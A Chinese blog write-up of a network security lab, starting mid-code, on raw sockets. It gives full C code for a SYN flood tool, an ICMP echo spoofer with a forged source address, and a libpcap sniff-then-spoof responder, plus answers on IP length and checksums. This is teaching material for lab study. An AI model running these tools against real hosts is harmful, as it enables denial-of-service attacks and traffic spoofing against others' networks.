    int on = 1;

    // 创建一个原始套接字
    fd = socket(AF_INET, SOCK_RAW, IPPROTO_TCP);
    if (fd == -1)
    {
        return -1;
    }

    // 设置需要手动构建IP头部
    if (setsockopt(fd, IPPROTO_IP, IP_HDRINCL, (char *)&on, sizeof(on)) < 0)
    {
        close(fd);
        return -1;
    }

    return fd;
}
发送伪造数据包

下面的代码设置目标主机的地址族、地址与端口。然后使用sendto函数将我们自己构造的SYN数据包通过创建的原始套接字发往目标地址。

// 发送syn数据包
int send_syn_packet(int sockfd, unsigned int addr, unsigned short port)
{
    struct sockaddr_in skaddr;
    // 数据包
    char packet[256];
    // 数据包长度
    int pkt_len;
    // 初始化
    bzero(&skaddr, sizeof(skaddr));
    // 设置目标地址
    skaddr.sin_family = AF_INET;
    skaddr.sin_port = htons(port);
    skaddr.sin_addr.s_addr = addr;

    // 创建一个syn数据包
    pkt_len = make_syn_packet(packet, 256, addr, port);
    // 发送syn数据包
    return sendto(sockfd, packet, pkt_len, 0, (struct sockaddr *)&skaddr,
                  sizeof(struct sockaddr));
}
完整代码与效果
// 拼接上面的代码即可

int main(int argc, char *argv[])
{
    unsigned int addr;
    unsigned short port;
    int sockfd;

    if (argc < 3)
    {
        fprintf(stderr, "Usage: synflood <address> <port>\n");
        exit(1);
    }
    // 获取地址和端口
    addr = inet_addr(argv[1]);
    port = atoi(argv[2]);

    if (port < 0 || port > 65535)
    {
        fprintf(stderr, "Invalid destination port number: %s\n", argv[2]);
        exit(1);
    }
    // 创建原始套接字
    sockfd = make_raw_socket();
    if (sockfd == -1)
    {
        fprintf(stderr, "Failed to make raw socket\n");
        exit(1);
    }
    // 一直发送syn数据包
    for (int i = 0; i > -1; i++)
    {
        sleep(1);
        if (send_syn_packet(sockfd, addr, port) < 0)
        {
            fprintf(stderr, "Failed to send syn packet\n");
        }
    }

    close(sockfd);

    return 0;
}

首先使用python创建一个HTTP服务器并监听端口8000。

image-20231120225432603

然后使用netstat -ntc监听该端口的连接情况

image-20231120225625034

编译并运行syn泛洪攻击程序并设置目标为10.9.0.5:8000

查看运行结果,收到了大量的SYN建立连接请求。而且源IP也被隐藏了。

image-20231120225804375

Task 2.2B: Spoof an ICMP Echo Request

自己编写一个ping程序

头文件

定义了两个常量 ICMP_ECHOICMP_ECHOREPLY,分别表示 ICMP 的 Echo 请求和 Echo 回复报文的类型值。定义了一个名为 icmpheader 的结构体,用于表示 ICMP 头部。

结构体成员的含义如下:

  • icmp_type:ICMP 消息类型
  • icmp_code:错误码
  • icmp_chksum:ICMP 头部和数据的校验和
  • icmp_id:用于标识请求的 ID
  • icmp_seq:序列号
#include <unistd.h>
#include <stdio.h>
#include <string.h>
#include <sys/socket.h>
#include <netinet/ip.h>
#include <arpa/inet.h>

#define ICMP_ECHO 8
#define ICMP_ECHOREPLY 0

/* ICMP Header  */
struct icmpheader
{
        unsigned char icmp_type;        // ICMP message type
        unsigned char icmp_code;        // Error code
        unsigned short int icmp_chksum; // Checksum for ICMP Header and data
        unsigned short int icmp_id;     // Used for identifying request
        unsigned short int icmp_seq;    // Sequence number
};
校验和计算

与Task2.2A相同

/**
 * @brief 计算校验和
 *
 * @param buffer
 * @param size
 * @return unsigned short
 */
unsigned short checksum(unsigned short *buffer, unsigned short size)
{
        unsigned long checksum = 0;
        // 先将缓冲区中的每个16位字累加到 cksum 变量中,直到 size 变为1或0
        while (size > 1)
        {
                checksum += *buffer++;
                size -= sizeof(unsigned short);
        }
        // 如果 size 不为0,说明还剩下一个字节没有累加到校验和中,
        if (size)
        {
                checksum += *(unsigned char *)buffer;
        }
        // 如果有溢出
        while (checksum >> 16)
        {
                // 则将高16位与低16位相加
                checksum = (checksum >> 16) + (checksum & 0xffff);
                // 如果高16位非零,再加高16位
                checksum += (checksum >> 16);
        }
        // 取反
        return (unsigned short)(~checksum);
}
初始化报头

用于初始化 IP 头部和 ICMP 头部的字段。

/**
 * @brief 初始化ip
 *
 * @param ip
 * @param srcaddr
 * @param dstaddr
 */
void init_ip_header(struct iphdr *ip, unsigned int srcaddr,
                    unsigned int dstaddr)
{
        // 计算 IP 报头的总长度 len,包括 IP 头部和 TCP 头部的长度
        int len = sizeof(struct iphdr) + sizeof(struct icmpheader);
        // 设置 IP 版本和头部长度字段
        ip->version = 4;
        ip->ihl = 5;
        // 设置服务类型字段 tos,此处设为 0。
        ip->tos = 0;
        // 设置总长度字段 total_len,使用 htons 函数将长度转换为网络字节序
        ip->tot_len = htons(len);
        // 设置标识字段
        ip->id = 1;
        // 设置标志字段 flags,这里设为 0x40,表示不分片
        ip->frag_off = htons(0x4000);
        // 设置生存时间字段 ttl
        ip->ttl = 255;
        // 设置协议字段 protocol,这里设为 IPPROTO_ICMP
        ip->protocol = IPPROTO_ICMP;
        // 初始化校验和
        ip->check = 0;
        ip->saddr = srcaddr; // 源IP地址
        ip->daddr = dstaddr; // 目标IP地址
}

/**
 * @brief 初始化icmp数据包
 *
 * @param icmp
 * @param type
 * @param code
 */
void init_icmp_header(struct icmpheader *icmp, int type, int code)
{
        // 设置ICMP报文的类型
        icmp->icmp_type = type;
        if (type == ICMP_ECHOREPLY)
        {
                // 设置ICMP报文的代码
                icmp->icmp_code = code;
        }
        // 计算ICMP报文的校验和
        icmp->icmp_chksum = 0;
        // 计算ICMP报文的校验和
        icmp->icmp_chksum = checksum((unsigned short *)icmp,
                                     sizeof(struct icmpheader));
}
创建原始套接字

与Task2.2A相同

/**
 * @brief 创建一个原始套接字
 *
 * @return int
 */
int make_raw_socket()
{
        int fd;
        int on = 1;

        // 创建一个原始套接字
        fd = socket(AF_INET, SOCK_RAW, IPPROTO_RAW);
        if (fd == -1)
        {
                return -1;
        }
        // 设置需要手动构建IP头部
        if (setsockopt(fd, IPPROTO_IP, IP_HDRINCL, (char *)&on, sizeof(on)) < 0)
        {
                close(fd);
                return -1;
        }
        return fd;
}
发送伪造的Ping Echo

函数接受一个套接字描述符 sock 和一个指向 struct iphdr 结构体的指针 ip 作为参数。函数首先设置目标地址信息 dest_info,其中包括目标地址的协议类型和 IP 地址。最后,函数调用 sendto 函数发送 IP 报文。

/**
 * @brief 发送ping报文
 *
 * @param sock
 * @param ip
 */
void send_raw_ip_packet(int sock, struct iphdr *ip)
{
        // struct sockaddr_in dest_info;
        struct sockaddr_in dest_info;

        // 设置IP地址的协议类型
        dest_info.sin_family = AF_INET;
        // 设置IP地址
        dest_info.sin_addr.s_addr = ip->daddr;
        // 打印IP地址
        printf("icmp send to %s\n", inet_ntoa(dest_info.sin_addr));
        // 发送IP报文
        sendto(sock, ip, ntohs(ip->tot_len), 0,
               (struct sockaddr *)&dest_info, sizeof(dest_info));
}
完整代码与效果

完整代码如下所示

// 拼接上面的代码即可

/******************************************************************
  Spoof an ICMP echo request using an arbitrary source IP Address
*******************************************************************/
int main(int argc, char **argv)
{
        char buffer[1500];
        memset(buffer, 0, 1500);
        int sock = make_raw_socket();

        /*********************************************************
           Step 1: Fill in the ICMP header.
         ********************************************************/
        struct icmpheader *icmp = (struct icmpheader *)(buffer + sizeof(struct iphdr));
        init_icmp_header(icmp, ICMP_ECHO, 0);

        /*********************************************************
           Step 2: Fill in the IP header.
         ********************************************************/
        struct iphdr *ip = (struct iphdr *)buffer;
        init_ip_header(ip, inet_addr("10.0.2.15"),
                       inet_addr(argv[1]));
        // 计算IP校验和
        ip->check = checksum((u_short *)ip, sizeof(struct iphdr));
        struct sockaddr_in addr;
        memset(&addr, 0, sizeof(addr));
        addr.sin_family = AF_INET;
        addr.sin_addr.s_addr = inet_addr(argv[1]);

        /*********************************************************
           Step 3: Finally, send the spoofed packet
         ********************************************************/
        while (1)
        {
                send_raw_ip_packet(sock, ip);
                sleep(1);
        }
        close(sock);
        return 0;
}

使用tcpdump监听地址为10.0.2.15的网络接口的icmp数据包

sudo tcpdump -i enp0s3 -v icmp

然后编译运行伪造ICMP报文的程序并运行

gcc -o ping ping.c # 编译
sudo ./ping 43.138.70.209 # 运行

运行结果如下,通过tcpdump可知能够正常发送ICMP Echo数据包并收到ICMP Reply回复。

image-20231121113305188

Q D

能把IP包的长度设置为任意数值,而不管实际的包的大小吗?

不能,调大调小都是不正确的行为。

  1. IP报头长度比实际长度小:这会导致接收方无法正确解析IP报文。接收方会期望更多的数据作为报文的一部分,但实际上接收到的数据可能不足以构成完整的IP报文。这可能导致接收方丢弃或拒绝该报文,因为它被认为是损坏或不完整的。
  2. IP报头长度比实际长度大:这会导致接收方错误地解析IP报文,从而引起通信问题或数据损坏。比如在IP分片的过程中,操作系统会根据实际数据的长度和MTU的限制进行合理的分片。如果报头长度字段比实际长度大,操作系统可能会错误地将数据包分片。
  • 设置为一个较小的值

修改初始化IP头部的代码如下,将len设置为一个较小的值

image-20231121113659272

然后重新编译运行,发现ICMP Echo报文有去无回,无法收到ICMP Reply报文。

image-20231121113753380

  • 设置为一个较大的值

修改初始化IP头部的代码如下,将len设置为一个较大的值

image-20231121114023127

然后重新编译运行,发现ICMP Echo报文有去有回,也能正常收到ICMP Reply报文。

image-20231121113950658

  • 说明了什么

是不是说明调大不会影响数据包的正常接收,而调小会呢?事实上,调大调小都可能会导致错误通信。当 IP 报头的长度字段比实际长度大时可能导致:

  1. 分片错误:IP分片的过程中,操作系统会根据实际数据的长度和MTU的限制进行合理的分片。如果报头长度字段比实际长度大,操作系统可能会错误地将数据包分片,导致分片的片段长度不正确。
  2. 重组问题:接收方在接收分片后的 IP 数据包时,会根据偏移和标识字段对分片进行重组。在这种情况下,接收方可能无法正确地重组分片,导致数据包错误或丢失。
Q E

使用原始套接字时,需要计算IP报文的校验和吗?

可以不需要。

操作系统中的网络协议栈会自动处理IP头部的计算和填充。它会根据IP头部中的各个字段的值,按照IP协议规范中定义的计算方法,自动生成正确的校验和,并将其填充到IP头部的校验和字段中。

修改main函数,将校验和计算过程注释掉,如下所示。

image-20231121115540167

然后重新编译运行,发现能够正常发送ICMP Echo并得到ICMP Reply响应。

现代操作系统的网络协议栈通常会自动计算和填充IP头部的校验和字段。当使用原始套接字发送IP数据包时,操作系统会负责处理IP头部的构建和校验和计算。我们只需要构造IP数据包的内容,将其传递给操作系统,并通过原始套接字发送即可。

Q F

为什么时原始套接字需要root权限?

通过原始套接字,可以直接访问和操作网络层的数据包,包括构造和发送自定义的网络数据包。所有会存在潜在的安全风险,因此必须要root权限。如果没有root权限,在创建原始套接字过程就会失败了。

Task 2.3: Sniff and then Spoof

编写一个程序能够响应ICMP ECHO,伪造ICMP Reply。

头文件

定义了ICMP报头和以太网帧报头

#include <unistd.h>
#include <stdio.h>
#include <string.h>
#include <sys/socket.h>
#include <netinet/ip.h>
#include <arpa/inet.h>
#include <pcap.h>

#define ICMP_ECHO 8
#define ICMP_ECHOREPLY 0

/* Ethernet header */
struct ethheader {
   u_char  ether_dhost[6];  
    // 目的mac地址
    u_char  ether_shost[6];    
    // 源mac地址
    u_short ether_type;             
};

/* ICMP Header  */
struct icmpheader
{
    unsigned char icmp_type;        // ICMP message type
    unsigned char icmp_code;        // Error code
    unsigned short int icmp_chksum; // Checksum for ICMP Header and data
    unsigned short int icmp_id;     // Used for identifying request
    unsigned short int icmp_seq;    // Sequence number
};

校验和计算

同上Taks2.2B,略

初始化报头

同上Taks2.2B,略

创建原始套接字

同上Taks2.2B,略

发送数据包

同上Taks2.2B,略

回调函数

首先将捕获到的数据包解析为以太网帧,然后进行处理。接下来,使用 make_raw_socket 函数创建了一个原始套接字。然后,它检查以太网帧的类型是否为 IPv4,并将以太网帧转换为 IPv4 头部。

如果协议类型为 ICMP,伪造一个ICMP Echo Reply报文,并使用 send_raw_ip_packet 函数发送伪造的回复报文。

/**
 * @brief 回调函数
 * 
 * @param args 
 * @param header 
 * @param packet 
 */
void handler(u_char *args, const struct pcap_pkthdr *header,
             const u_char *packet)
{
    printf("*****************************************************\n");
   // 将数据包解析为以太网帧
    struct ethheader *eth = (struct ethheader *)packet;
    // 创建原始套接字
    int sock = make_raw_socket();
    // 如果以太网帧类型为IPv4
    if (ntohs(eth->ether_type) == 0x0800)
    { // 0x0800 is IP type
        // 将以太网帧转换为IPv4
        struct iphdr *ip = (struct iphdr *)(packet + sizeof(struct ethheader));

        // 获取源地址和目标地址
        struct in_addr addr;
        struct in_addr daddr;
        addr.s_addr = ip->saddr;
        daddr.s_addr = ip->daddr;   
        // 打印源地址和目标地址
        printf("From: %s ", inet_ntoa(addr));
        printf("To: %s ", inet_ntoa(daddr));
        // 判断协议类型
        if (ip->protocol == IPPROTO_ICMP)
            printf("protocal: ICMP\n");
        else
            printf("protocal: Others\n");

        struct icmpheader *icmp_pkt = (struct icmpheader *)(packet + sizeof(struct ethheader) 
                                        + sizeof(struct iphdr));

        if (ip->protocol == IPPROTO_ICMP)
        {

            char buffer[1500];
            memset(buffer, 0, 1500);

            /*********************************************************
                 Step 1: Fill in the ICMP header.
            ********************************************************/
            struct icmpheader *icmp = (struct icmpheader *)(buffer + sizeof(struct iphdr));
            icmp->icmp_id = icmp_pkt->icmp_id;
            icmp->icmp_seq = icmp_pkt->icmp_seq;
            init_icmp_header(icmp, ICMP_ECHOREPLY, 0);
            printf("icmp id: %d, seq: %d\n", ntohs(icmp_pkt->icmp_id), ntohs(icmp_pkt->icmp_seq));

            /*********************************************************
                 Step 2: Fill in the IP header.
            ********************************************************/
            struct iphdr *ipp = (struct iphdr *)buffer;
            init_ip_header(ipp, ip->daddr, ip->saddr);
            addr.s_addr = ipp->saddr;
            daddr.s_addr = ipp->daddr;   
            printf("send reply source :%s\n", inet_ntoa(addr));
            printf("send reply dest: %s\n", inet_ntoa(daddr));

            /*********************************************************
                 Step 3: Finally, send the spoofed packet
            ********************************************************/
            send_raw_ip_packet(sock, ipp);
        }
    }
    close(sock);
}

绑定网络接口

首先打开一个与网络接口 "br-0d32c54e0d4e" 相关联的 live pcap 会话。pcap_open_live 函数返回一个 pcap 句柄。如果打开会话成功,会打印相关信息。然后,将过滤表达式 "icmp[icmptype]==icmp-echo" 编译为 BPF(Berkley Packet Filter)伪代码。pcap_compile 函数将过滤表达式编译为过滤程序,并将结果存储在 fp 中。接下来,使用 pcap_setfilter 函数将过滤程序应用于 pcap 句柄,以便仅捕获 ICMP Echo 类型的报文。最后,使用 pcap_loop 函数开始捕获数据包。pcap_loop 函数会循环捕获数据包,并将每个捕获到的数据包传递给 handler 回调函数进行处理。

int main(int argc, char **argv)
{
    pcap_t *handle;
    char errbuf[PCAP_ERRBUF_SIZE];
    struct bpf_program fp;
    char filter_exp[] = "icmp[icmptype]==icmp-echo";
    bpf_u_int32 net;

    // Step 1: Open live pcap session on NIC with name br-0d32c54e0d4e
    handle = pcap_open_live("br-0d32c54e0d4e", BUFSIZ, 1, 1000, errbuf);
    printf("listening on network card, ret: %p...\n", handle);

    // Step 2: Compile filter_exp into BPF psuedo-code
    printf("try to compile filter...\n");
    pcap_compile(handle, &fp, filter_exp, 0, net);
    printf("try to set filter...\n");
    pcap_setfilter(handle, &fp);

    // Step 3: Capture packets
    printf("start to sniff...\n");
    pcap_loop(handle, -1, handler, NULL);

    pcap_close(handle); // Close the handle
    return 0;
}

完整代码及效果

完整代码如下

// 拼接上面的代码即可

在10.9.0.1主机编译运行这段代码

gcc -o ping_spf ping_spoof.c -lpcap
sudo ./ping_spf

然后进入一个docker容器,然后ping同一网段下的另一台主机10.9.0.6

docker exec -it 1898eb81c8e4 bin/bash
ping 10.9.0.6

运行结果

image-20231121124538115

Summary

  • [ ] 原始套接字
  • [ ] scapy库
  • [ ] libpcap库
  • [ ] TCP/IP协议栈
------本页内容已结束,喜欢请分享------

文章作者
能不能吃完饭再说
隐私政策
PrivacyPolicy
用户协议
UseGenerator
许可协议
NC-SA 4.0


© 版权声明
THE END
喜欢就支持一下吧
点赞21赞赏 分享
评论 共1条
头像
欢迎您留下宝贵的见解!
提交
头像

昵称

取消
昵称表情代码图片
    • 头像xxx0